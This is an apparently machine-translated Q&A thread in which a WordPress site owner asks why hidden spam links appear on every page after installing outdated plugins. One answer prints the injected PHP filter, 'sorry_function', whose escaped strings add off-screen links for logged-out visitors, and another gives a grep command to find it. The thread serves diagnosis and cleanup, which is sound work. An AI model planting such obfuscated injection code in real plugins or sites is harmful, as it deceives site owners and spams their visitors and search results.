所有页面和帖子中都会显示恶意文本.我怎么摆脱它?

Rag*_*Rag 3 wordpress malware

昨天我安装了几个过时的插件(我的坏),以便让我的buddressress注册页面显示"条款和条件"复选框,从那时起,所有页面和帖子开始在开头和底部显示一些不需要的文本.
我删除了所有这些插件但仍然收到了消息.我尝试了几个恶意软件扫描程序,如wordfence,sucuri等,但一切都说我的网站很干净.我现在没有选择了.请帮我摆脱我的网站.

在页面开始时,此代码出现:

<div style="position:absolute;top:0;left:-9999px;">Want create site? Find <a href="http://dlwordpress.com/">Free WordPress Themes</a> and plugins.</div>`
Run Code Online (Sandbox Code Playgroud)

在页面结束之前,此代码出现:

<div style="position:absolute;top:0;left:-9999px;">Did you find apk for android? You can find new <a href="https://dlandroid24.com/">Free Android Games</a> and apps.</div>
Run Code Online (Sandbox Code Playgroud)

正如您所看到的,由于left:-9999px;上述代码中的文本通常不可见,但可以看到搜索引擎结果和社交共享.

小智 10

问题是由于从dlwordpress.com下载的插件.代码通常被添加到插件本身的某个主文件中,并被十六进制代码掩盖.这是代码:

if( ! function_exists('sorry_function')){
function sorry_function($content) {
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){
    $vNd25 = "\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76";
    $zoyBE = "\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76";
    $fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }}
    add_filter('the_content', 'sorry_function');}
Run Code Online (Sandbox Code Playgroud)

删除插件或删除任何php文件中的这部分代码


小智 5

首先sudo grep -r sorry_function *从控制台搜索并获取文件的名称.之后sorry_function()使用ftp客户端删除